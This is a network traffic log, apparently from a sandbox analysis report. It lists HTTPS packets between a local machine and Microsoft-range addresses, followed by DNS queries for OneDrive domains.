Jul 4, 2024 20:19:48.280378103 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.280428886 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.280436039 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.281055927 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.281100988 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.281111002 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.281249046 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.281297922 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.281305075 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.282151937 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.282195091 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.282201052 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.333405018 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.348133087 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.348143101 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.348218918 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.348228931 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.371365070 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.371373892 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.371529102 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.371539116 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.371689081 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.371695995 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.371742964 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.371751070 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.371828079 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.371834993 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.371880054 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.371886969 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.372045040 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.372077942 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.372102022 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.372112036 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.372131109 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.372710943 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.372772932 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.372781992 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.373240948 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.373296022 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.373303890 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.373671055 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.373728991 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.373739004 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.374034882 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.374083996 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.374382973 CEST	49938	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:48.374401093 CEST	443	49938	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:48.375423908 CEST	49939	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:48.375469923 CEST	443	49939	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:48.375534058 CEST	49939	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:48.375726938 CEST	49939	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:48.375737906 CEST	443	49939	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:48.954114914 CEST	443	49939	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:48.959832907 CEST	49939	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:48.959856987 CEST	443	49939	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:49.101182938 CEST	443	49939	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:49.101253033 CEST	443	49939	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:49.103708029 CEST	49939	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:49.105345011 CEST	49939	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:49.105348110 CEST	49940	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:49.105386019 CEST	443	49940	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:49.107913971 CEST	49940	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:49.108119011 CEST	49940	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:49.108129978 CEST	443	49940	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:49.731349945 CEST	443	49940	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:49.733354092 CEST	49940	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:49.733380079 CEST	443	49940	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:49.857736111 CEST	443	49940	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:49.857841015 CEST	443	49940	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:49.857883930 CEST	49940	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:49.860028982 CEST	49940	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:49.860053062 CEST	443	49940	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:49.862092972 CEST	49941	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:49.862134933 CEST	443	49941	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:49.862202883 CEST	49941	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:49.862504959 CEST	49941	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:49.862515926 CEST	443	49941	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:50.434461117 CEST	443	49941	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:50.437117100 CEST	49941	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:50.437146902 CEST	443	49941	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:51.470633984 CEST	443	49941	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:51.470742941 CEST	443	49941	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:51.472521067 CEST	49941	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:51.472521067 CEST	49941	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:51.475616932 CEST	49942	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:51.475653887 CEST	443	49942	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:51.479963064 CEST	49942	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:51.483673096 CEST	49942	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:51.483689070 CEST	443	49942	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:52.098324060 CEST	443	49942	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:52.100059986 CEST	49942	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:52.100081921 CEST	443	49942	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:53.205656052 CEST	443	49942	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:53.205733061 CEST	49942	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:53.205743074 CEST	443	49942	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:53.205847025 CEST	49942	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:53.207726002 CEST	49942	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:53.207732916 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:53.207792997 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:53.209645033 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:53.213555098 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:53.213573933 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:53.856525898 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:53.858340979 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:53.858372927 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.026104927 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.026140928 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.026192904 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.026216030 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.026268959 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.026802063 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.026808977 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.026859045 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.026865005 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.027534962 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.027584076 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.027590036 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.027636051 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.122200966 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.122272968 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.122283936 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.122407913 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.122456074 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.122462034 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.122983932 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.123034000 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.123039007 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.123894930 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.124031067 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.124037027 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.177300930 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.217478037 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.217489958 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.217566967 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.217576981 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.217636108 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.217674017 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.217678070 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.217691898 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.217715979 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.218323946 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.218374014 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.218379021 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.218914986 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.218959093 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.218965054 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.219819069 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.219866991 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.219873905 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.219958067 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.220000982 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.220005989 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.220643997 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.220688105 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.220695019 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.221522093 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.221568108 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.221573114 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.270894051 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.313436985 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.313446999 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.313488960 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.313529968 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.313534975 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.313627958 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.313663960 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.313673019 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.313676119 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.313687086 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.313697100 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.313702106 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.313711882 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.313735008 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.314114094 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.314165115 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.314169884 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.314239979 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.314409018 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.314461946 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.314466953 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.314690113 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.314730883 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.314735889 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.315064907 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.315115929 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.315120935 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.315435886 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.315488100 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.315493107 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.316169024 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.316241026 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.316246986 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.316416025 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.316472054 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.316477060 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.316750050 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.316792011 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.316797018 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.316850901 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.316886902 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.316890955 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.316900015 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.316935062 CEST	443	49944	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:54.316946030 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.316976070 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.317336082 CEST	49944	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:54.332591057 CEST	49945	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:54.332628012 CEST	443	49945	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:54.332720041 CEST	49945	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:54.333647966 CEST	49945	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:54.333659887 CEST	443	49945	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:54.902307987 CEST	443	49945	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:54.919612885 CEST	49945	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:54.919656992 CEST	443	49945	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:55.076287985 CEST	443	49945	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:55.076349974 CEST	443	49945	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:55.076515913 CEST	49945	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:55.076811075 CEST	49945	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:55.078805923 CEST	49946	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:55.078828096 CEST	443	49946	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:55.078958988 CEST	49946	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:55.079194069 CEST	49946	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:55.079204082 CEST	443	49946	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:55.678317070 CEST	443	49946	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:55.680195093 CEST	49946	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:55.680221081 CEST	443	49946	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:55.797091961 CEST	443	49946	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:55.797149897 CEST	443	49946	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:55.797192097 CEST	49946	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:55.797761917 CEST	49946	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:55.797776937 CEST	443	49946	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:55.798964024 CEST	49947	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:55.798998117 CEST	443	49947	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:55.799057007 CEST	49947	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:55.799436092 CEST	49947	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:55.799449921 CEST	443	49947	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:56.403060913 CEST	443	49947	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:56.404745102 CEST	49947	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:56.404782057 CEST	443	49947	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:56.590794086 CEST	443	49947	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:56.590874910 CEST	443	49947	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:56.591052055 CEST	49947	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:56.591418028 CEST	49947	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:56.592780113 CEST	49948	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:56.592819929 CEST	443	49948	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:56.592926025 CEST	49948	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:56.593257904 CEST	49948	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:56.593270063 CEST	443	49948	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:57.197257042 CEST	443	49948	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:57.239665031 CEST	49948	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:57.877578020 CEST	49948	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:57.882462025 CEST	49949	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:57.882492065 CEST	443	49949	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:57.882572889 CEST	49949	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:57.882821083 CEST	49949	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:57.882838011 CEST	443	49949	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:58.474773884 CEST	443	49949	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:58.476754904 CEST	49949	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:58.476773977 CEST	443	49949	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:58.625108004 CEST	443	49949	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:58.625164986 CEST	443	49949	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:58.625591040 CEST	49949	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:58.625591040 CEST	49949	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:58.625884056 CEST	49950	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:58.625911951 CEST	443	49950	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:58.626291990 CEST	49950	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:58.626292944 CEST	49950	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:19:58.626317024 CEST	443	49950	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:59.242563963 CEST	443	49950	13.107.137.11	192.168.2.6
Jul 4, 2024 20:19:59.242712021 CEST	49950	443	192.168.2.6	13.107.137.11

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 4, 2024 20:15:51.496516943 CEST	61585	53	192.168.2.6	1.1.1.1
Jul 4, 2024 20:15:51.506176949 CEST	53	61585	1.1.1.1	192.168.2.6
Jul 4, 2024 20:15:52.362139940 CEST	49250	53	192.168.2.6	1.1.1.1
Jul 4, 2024 20:16:33.505923033 CEST	50883	53	192.168.2.6	1.1.1.1
Jul 4, 2024 20:16:41.549830914 CEST	59065	53	192.168.2.6	1.1.1.1
Jul 4, 2024 20:16:41.556952953 CEST	53	59065	1.1.1.1	192.168.2.6
Jul 4, 2024 20:16:49.536348104 CEST	54625	53	192.168.2.6	1.1.1.1
Jul 4, 2024 20:16:54.311476946 CEST	50552	53	192.168.2.6	1.1.1.1
Jul 4, 2024 20:17:02.178380966 CEST	51428	53	192.168.2.6	1.1.1.1
Jul 4, 2024 20:17:02.187011003 CEST	53	51428	1.1.1.1	192.168.2.6
Jul 4, 2024 20:17:02.960376978 CEST	50361	53	192.168.2.6	1.1.1.1
Jul 4, 2024 20:17:31.342026949 CEST	62141	53	192.168.2.6	1.1.1.1
Jul 4, 2024 20:17:48.693960905 CEST	63921	53	192.168.2.6	1.1.1.1
Jul 4, 2024 20:17:48.701020002 CEST	53	63921	1.1.1.1	192.168.2.6
Jul 4, 2024 20:18:13.025145054 CEST	57181	53	192.168.2.6	1.1.1.1
Jul 4, 2024 20:18:23.925951958 CEST	63388	53	192.168.2.6	1.1.1.1
Jul 4, 2024 20:18:26.239135981 CEST	58379	53	192.168.2.6	1.1.1.1
Jul 4, 2024 20:18:26.246500015 CEST	53	58379	1.1.1.1	192.168.2.6
Jul 4, 2024 20:18:34.071530104 CEST	56985	53	192.168.2.6	1.1.1.1
Jul 4, 2024 20:19:05.132328987 CEST	64890	53	192.168.2.6	1.1.1.1
Jul 4, 2024 20:19:05.141082048 CEST	53	64890	1.1.1.1	192.168.2.6
Jul 4, 2024 20:19:08.673685074 CEST	65460	53	192.168.2.6	1.1.1.1
Jul 4, 2024 20:19:31.371932983 CEST	62415	53	192.168.2.6	1.1.1.1
Jul 4, 2024 20:19:31.378953934 CEST	53	62415	1.1.1.1	192.168.2.6
Jul 4, 2024 20:19:37.825850964 CEST	60521	53	192.168.2.6	1.1.1.1
Jul 4, 2024 20:19:37.834146023 CEST	53	60521	1.1.1.1	192.168.2.6
Jul 4, 2024 20:19:41.857917070 CEST	62997	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 4, 2024 20:15:51.496516943 CEST	192.168.2.6	1.1.1.1	0xbe87	Standard query (0)	1drv.ms	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:15:52.362139940 CEST	192.168.2.6	1.1.1.1	0xc676	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:16:33.505923033 CEST	192.168.2.6	1.1.1.1	0x2b12	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:16:41.549830914 CEST	192.168.2.6	1.1.1.1	0x6ec6	Standard query (0)	1drv.ms	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:16:49.536348104 CEST	192.168.2.6	1.1.1.1	0x1593	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:16:54.311476946 CEST	192.168.2.6	1.1.1.1	0xafe6	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:17:02.178380966 CEST	192.168.2.6	1.1.1.1	0x58a0	Standard query (0)	1drv.ms	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:17:02.960376978 CEST	192.168.2.6	1.1.1.1	0x889b	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:17:31.342026949 CEST	192.168.2.6	1.1.1.1	0x1546	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:17:48.693960905 CEST	192.168.2.6	1.1.1.1	0x3394	Standard query (0)	1drv.ms	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:18:13.025145054 CEST	192.168.2.6	1.1.1.1	0xa62b	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:18:23.925951958 CEST	192.168.2.6	1.1.1.1	0x1b36	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:18:26.239135981 CEST	192.168.2.6	1.1.1.1	0x89c9	Standard query (0)	1drv.ms	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:18:34.071530104 CEST	192.168.2.6	1.1.1.1	0x2141	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:19:05.132328987 CEST	192.168.2.6	1.1.1.1	0x3214	Standard query (0)	1drv.ms	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:19:08.673685074 CEST	192.168.2.6	1.1.1.1	0x6700	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:19:31.371932983 CEST	192.168.2.6	1.1.1.1	0x16ec	Standard query (0)	1drv.ms	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:19:37.825850964 CEST	192.168.2.6	1.1.1.1	0x3b55	Standard query (0)	1drv.ms	A (IP address)	IN (0x0001)	false
Jul 4, 2024 20:19:41.857917070 CEST	192.168.2.6	1.1.1.1	0xd05	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false

DNS Answers

